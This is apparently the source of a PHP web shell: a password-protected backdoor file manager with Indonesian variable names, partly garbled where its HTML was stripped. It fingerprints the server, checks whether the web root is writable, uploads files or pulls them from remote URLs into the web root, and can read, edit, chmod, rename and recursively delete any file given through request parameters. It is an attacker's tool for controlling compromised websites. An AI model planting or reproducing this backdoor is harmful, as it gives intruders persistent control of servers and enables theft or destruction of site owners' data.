Wrong Password"; } } echo '
'; if (isset($err)) echo "
" . $err; echo '
the world in your hand
'; exit; } ?>

© All Rights Reserved
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writeable"; } else { return "Not Writeable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writeable"; } else { return "Not Writeable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
"; } function red($text) { echo "
"; } echo '
'; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
| Server | ".$_SERVER['SERVER_SOFTWARE']." |
| System | ".php_uname()." |
| User | ".@get_current_user()." ( ".@getmyuid()." ) |
| PHP Version | ".@phpversion()." |
| Disable Func | ".$disf." |
"; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo '
'; // --- UPLOAD HANDLER --- if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['dirnya'] == "2") { $uplokasi = $_SERVER['DOCUMENT_ROOT']; } else { $uplokasi = $lokasi; } $data = @file_put_contents($uplokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); if (file_exists($uplokasi."/".$_FILES['berkas']['name'])) { green("File Uploaded ! ".$uplokasi."/".$_FILES['berkas']['name'].""); } else { red("Failed to Upload !"); } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty !"); } else { if ($_POST['dirnya'] == "2") { $uplokasi = $_SERVER['DOCUMENT_ROOT']; } else { $uplokasi = $lokasi; } $data = @file_put_contents($uplokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); if (file_exists($uplokasi."/".$_POST['namalink'])) { green("File Uploaded ! ".$uplokasi."/".$_POST['namalink'].""); } else { red("Failed to Upload !"); } } } } // --- ADD FILE HANDLER --- if (isset($_POST['buatfile'])) { $namafile = $_POST['namafile']; $isi = $_POST['isifile']; $pathfile = $lokasi."/".$namafile; if (file_exists($pathfile)) { red("File already exists !"); } else { $buat = @file_put_contents($pathfile, $isi); if ($buat !== false) { green("Create File Success !"); } else { red("Create File Failed !"); } } } // --- ADD FOLDER HANDLER --- if (isset($_POST['buatfolder'])) { $namafolder = $_POST['namafolder']; $pathfolder = $lokasi."/".$namafolder; if (is_dir($pathfolder)) { red("Folder already exists !"); } else { $buat = @mkdir($pathfolder, 0755, true); if ($buat) { green("Create Folder Success !"); } else { red("Create Folder Failed !"); } } } // --- ACTION TABS --- echo '
'; // --- TAB: UPLOAD --- echo '
'; // --- TAB: ADD FILE --- echo '
'; // --- TAB: ADD FOLDER --- echo '
'; echo ''; // --- FILE VIEWER --- if (isset($_GET['fileloc'])) { echo '
".htmlspecialchars(file_get_contents($_GET['fileloc'])).""; echo '
'; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File !"); } else { green("Delete File Success !"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo '
"; echo ''; echo '
'; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Change Mod Success !"); } else { red("Change Mod Failed !"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo '
"; echo ''; echo '
'; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("Edit File Success !"); } else { red("Edit File Failed !"); } } echo '
"; echo ''; echo '
'; } // --- FILE LISTING --- echo '
| ".$dir." | |||
| ".$file." |
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>